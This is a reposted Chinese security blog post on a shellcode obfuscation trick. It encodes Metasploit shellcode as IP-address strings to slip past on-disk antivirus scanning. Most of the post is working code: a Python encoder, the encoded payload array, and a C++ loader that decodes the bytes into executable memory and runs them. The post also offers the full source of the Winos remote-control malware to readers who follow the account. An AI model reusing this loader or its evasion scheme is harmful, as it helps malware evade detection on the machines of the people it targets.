ShellCode混淆怪招

admin 2025-12-30 01:18:48 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文介绍了一种将Shellcode编码为IP地址字符串的混淆技术,旨在规避磁盘检测。作者提供了用于转换原始Shellcode的Python脚本及用于解码执行的C++代码。文章指出该方法虽不改变熵值,但有助于增加静态分析难度,并提及了银狐远控源码的相关获取信息。 综合评分: 80 文章分类: 免杀,红队,安全开发


cover_image

ShellCode混淆怪招

原创

安全研究员

CppGuide

2025年12月29日 14:10 浙江

由于工作需要,又重新捡起了安全工程方面的知识。

最近一直在学习银狐远控代码,在银狐中很多源代码作者并没有直接提供,而是提供了难懂的Shellcode,例如主控的日志进程,就是直接加载的日志进程代码转换后的Shellcode,这样大大减少了源码泄漏的概率。不得不说,C/C++代码转成Shellcode功能一样,但是读懂真需要一定的知识储备。

银狐源码获取见下文。

特别申明:

本文内容仅限于用作技术交流,请勿使用本文介绍的技术做任何其他用途,否则后果自负,与本号无关。

由于上周末比较忙,没时间写啥深度的文章,今天就暂且水一篇吧。

本文主要内容是,介绍一种shellcode混淆机制。在本文中,我们将探讨如何对shellcode进行编码,使其看起来像IP地址。

编码器

可以使用Python将Metasploit生成的shellcode转换为看起来像IP地址的形式:

import argparse

def pad_bytes(byte_array):
    length = len(byte_array)
    padding = (4 - length % 4) % 4
    padded_byte_array = byte_array + b'\x00' * padding
    return padded_byte_array

def main():
    parser = argparse.ArgumentParser(description='Process shellcode.')
    parser.add_argument('--shellcode', help='Filename containing raw shellcode')

    args = parser.parse_args()
    file_path = args.shellcode

    if file_path:
        print(f"[+] Encoding shellcode {file_path}")
    else:
        print("Please provide --shellcode argument.")
        exit()

    try:
        with open(file_path, 'rb') as file:
            file_bytes = file.read()
    except FileNotFoundError:
        print("[ERROR] File not found or cannot be opened.")
        exit()

    padded_byte_array = pad_bytes(file_bytes)
    ip_shellcode = ""

    print("std::string ips[] = {",end="")

    for i, sc_byte in enumerate(padded_byte_array):
        if (i) % 4 == 0:
            ip_shellcode += '"'
        ip_shellcode += str(sc_byte)
        if (i + 1) % 4 == 0:
            ip_shellcode += '",'
        else:
            ip_shellcode += "."

    print(ip_shellcode[:-1],end="")
    print("};")

if __name__ == "__main__":
    main()

输出如下,这些输出随后可以导入到我们的C++ shellcode运行器中。

std::string ips[] = {"252.72.131.228","240.232.192.0","0.0.65.81","65.80.82.81","86.72.49.210","101.72.139.82","96.72.139.82","24.72.139.82","32.72.139.114","80.72.15.183","74.74.77.49","201.72.49.192","172.60.97.124","2.44.32.65","193.201.13.65","1.193.226.237","82.65.81.72","139.82.32.139","66.60.72.1","208.139.128.136","0.0.0.72","133.192.116.103","72.1.208.80","139.72.24.68","139.64.32.73","1.208.227.86","72.255.201.65","139.52.136.72","1.214.77.49","201.72.49.192","172.65.193.201","13.65.1.193","56.224.117.241","76.3.76.36","8.69.57.209","117.216.88.68","139.64.36.73","1.208.102.65","139.12.72.68","139.64.28.73","1.208.65.139","4.136.72.1","208.65.88.65","88.94.89.90","65.88.65.89","65.90.72.131","236.32.65.82","255.224.88.65","89.90.72.139","18.233.87.255","255.255.93.72","186.1.0.0","0.0.0.0","0.72.141.141","1.1.0.0","65.186.49.139","111.135.255.213","187.240.181.162","86.65.186.166","149.189.157.255","213.72.131.196","40.60.6.124","10.128.251.224","117.5.187.71","19.114.111.106","0.89.65.137","218.255.213.99","97.108.99.46","101.120.101.0"};

执行shellcode

以下C++代码可用于对Shellcode进行解码和执行Shellcode代码。

#include&nbsp;<Windows.h>
#include&nbsp;<iostream>
#include&nbsp;<sstream>
#include&nbsp;<vector>
#include&nbsp;<iomanip>

std::string ips[] = {&nbsp;"252.72.131.228","240.232.192.0","0.0.65.81","65.80.82.81","86.72.49.210","101.72.139.82","96.72.139.82","24.72.139.82","32.72.139.114","80.72.15.183","74.74.77.49","201.72.49.192","172.60.97.124","2.44.32.65","193.201.13.65","1.193.226.237","82.65.81.72","139.82.32.139","66.60.72.1","208.139.128.136","0.0.0.72","133.192.116.103","72.1.208.80","139.72.24.68","139.64.32.73","1.208.227.86","72.255.201.65","139.52.136.72","1.214.77.49","201.72.49.192","172.65.193.201","13.65.1.193","56.224.117.241","76.3.76.36","8.69.57.209","117.216.88.68","139.64.36.73","1.208.102.65","139.12.72.68","139.64.28.73","1.208.65.139","4.136.72.1","208.65.88.65","88.94.89.90","65.88.65.89","65.90.72.131","236.32.65.82","255.224.88.65","89.90.72.139","18.233.87.255","255.255.93.72","186.1.0.0","0.0.0.0","0.72.141.141","1.1.0.0","65.186.49.139","111.135.255.213","187.240.181.162","86.65.186.166","149.189.157.255","213.72.131.196","40.60.6.124","10.128.251.224","117.5.187.71","19.114.111.106","0.89.65.137","218.255.213.99","97.108.99.46","101.120.101.0"&nbsp;};

std::vector<BYTE> convertIPsToByteArray(const std::string ips[], size_t count) {
&nbsp; &nbsp; std::vector<BYTE> byteArrays;

&nbsp; &nbsp;&nbsp;for&nbsp;(size_t i = 0; i < count; ++i) {
&nbsp; &nbsp; &nbsp; &nbsp; std::string ip = ips[i];
&nbsp; &nbsp; &nbsp; &nbsp; std::string octet;

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;(char c : ip) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(c ==&nbsp;'.') {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; byteArrays.push_back(static_cast<BYTE>(std::stoi(octet)));
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; octet.clear();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; octet += c;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; byteArrays.push_back(static_cast<BYTE>(std::stoi(octet))); // Last octet
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;return&nbsp;byteArrays;
}

int&nbsp;main() {

&nbsp; &nbsp; size_t count = sizeof(ips) / sizeof(ips[0]);
&nbsp; &nbsp; std::vector<BYTE> shellcode = convertIPsToByteArray(ips, count);

&nbsp; &nbsp; std::cout <<&nbsp;"Executing bytes...\n";
&nbsp; &nbsp;&nbsp;for&nbsp;(const auto& byteArray : shellcode) {
&nbsp; &nbsp; &nbsp; &nbsp; std::cout <<&nbsp;" 0x"&nbsp;<< std::hex << std::setw(2) << std::setfill('0') << static_cast<int>(byteArray);
&nbsp; &nbsp; }

&nbsp; &nbsp; std::size_t vectorSize = shellcode.size();
&nbsp; &nbsp; char* buffer = static_cast<char*>(VirtualAlloc(0, vectorSize + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE));

&nbsp; &nbsp; memcpy(buffer, shellcode.data(), vectorSize);

&nbsp; &nbsp; void (*function)();
&nbsp; &nbsp;&nbsp;function&nbsp;= reinterpret_cast<void (*)()>(buffer);
&nbsp; &nbsp;&nbsp;function();

&nbsp; &nbsp;&nbsp;return&nbsp;0;
}

小结

经测试,这种编码方案虽然不会显著改变最终的可执行文件的熵值,但有助于规避一定的磁盘检测。

好啦,今天的分享就到这啦。

源码获取

如果对银狐(winos)有兴趣,可以通过下面的方式获取全套源码:

关注后回复【winos】即可获取源码

推荐阅读

银狐远控问题排查与修复——Viusal Studio集成Google Address Sanitizer排查内存问题

银狐远控代码中差异屏幕bug修复

银狐远程屏幕内存优化方法探究

银狐远程软件bug修复记录 第03篇

银狐远程软件 UDP 断线无法重连的bug排查和修复

银狐远程软件代理映射功能优化思路分享

银狐远程软件去后门方法

银狐远控一键编译调试与开发教程

银狐远控免杀与shellcode修复思路分析 01


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:CppGuide 安全研究员《ShellCode混淆怪招》

ShellCode混淆怪招 网络安全文章

ShellCode混淆怪招

文章总结: 本文介绍了一种将Shellcode编码为IP地址字符串的混淆技术,旨在规避磁盘检测。作者提供了用于转换原始Shellcode的Python脚本及用于
评论:0   参与:  0